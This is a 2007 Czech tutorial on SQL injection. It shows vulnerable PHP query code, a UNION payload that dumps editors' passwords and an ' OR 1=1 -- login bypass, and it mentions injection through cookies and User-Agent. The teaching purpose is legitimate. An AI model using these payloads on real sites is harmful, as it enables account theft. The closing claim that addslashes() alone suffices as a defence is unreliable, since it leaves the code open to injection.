Zpět na seznam článků     Číst komentáře (9)     Verze pro tisk

Pokračování vložení do SQL

Autor: Studna   
10.1.2007

2. článek o bezpečnosti webových aplikací.


Vítám vás u pokračování článků o webové bezpečnosti.
Pokud jste nečetli první článek, tak URL je zde:
http://www.soom.cz/index.php?name=usertexts/show&aid=401


V minulém článku jsme se bavili o validací čísel.
Dnes se budeme bavit o validaci textu.
Zase budeme pracovat se skoro stejnim odkazem jak minule.
Odkaz pro dnešek bude:
www.muj-web.cz/clanek.php?jmeno=php
A soubor clanek.php vipadá takto:
?php
$jmeno = $_GET['jmeno'];
........
$select = mysql_query("SELECT text FROM clanky WHERE jmeno='$jmeno'");
while($vyber = mysql_fetch_array($select)){
echo $jmeno ..... $vyber[0]; }
// Tady vidíme rovnou dvě chyby. CSS a vložení do SQL
?
Pokud zavoláme odkaz:
www.muj-web.cz/clanek.php?jmeno=0 *NION SELECT heslo FROM redaktori --
Tak dotaz bude vipadat takto:
SELECT text FROM clanky WHERE jmeno='0 *NION SELECT heslo FROM redaktori --'
Nevrátí to nic, jělikož článek se jménem:
0 *NION SELECT heslo FROM redaktori --
Neexistuje.
Proto musíme zkusit zavolat:
www.muj-web.cz/clanek.php?jmeno='
Pokud vrátí chybu, tak můžeme postupovat velice podobně, jako v minulém článku.
URL bude vipadat takto:
www.muj-web.cz/clanek.php?jmeno=0' *NION SELECT heslo FROM redaktori --
To nám vyhodí hesla redaktorů.
Pak akorát sloupec změníme na nick.
A máme i uživ. jména redaktorů.

Ted se podíváme, jak obejít přihlašovací formulář.
Máme stránku www.muj-web.cz a na ní je /admin/, kde je formulář pro přihlášení do admina.
Script /admin/index.php vipadá následovně:
?php
$jmeno = $_POST['jmeno'];
$heslo = $_POST['heslo'];
$select = mysql_query("SELECT count(id) FROM redaktori WHERE jmeno='$jmeno' AND heslo='$heslo'");
if(mysql_result($select,0)>"0"){
echo ("Přihlášen."); } else { echo("Špatné heslo nebo jméno."); }
Do pole pro jméno zadáme:
0' OR 1=1 --
Do pole pro heslo cokoliv.
A dotaz bude vipadat takto:
SELECT count(id) FROM redaktori WHERE jmeno='0' OR 1=1 -- ' AND heslo='$heslo'
OR 1=1 znamená "true" čili pravda a -- dá do poznámky zbytek dotazu, aby nedošlo k případné chybě.

Vložit svůj dotaz do dotazu na serveru se může nejenom přes formuláře a URL.
Je možnost také použít editaci cookies a do nich vložit dotaz.
Nebo např. můžeme svůj dotaz vložit i do předdefinovaných proměných, které může klient ovlivnit.
Takže třeba do user-agenta atd..

Obrana:
Postačí fce addslashes([proměná]);
Fce addslashes(); musíte použít u všech proměných, které může klient ovlivnit.

*=U
Článek nesmí být zneužit k nelegálním účelům.

Příští článek bude o rozdílu dotazů a dalších chyb zneužitelných v různách databázích.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 0/0

1  2  3  4  5    
(známkování jako ve škole)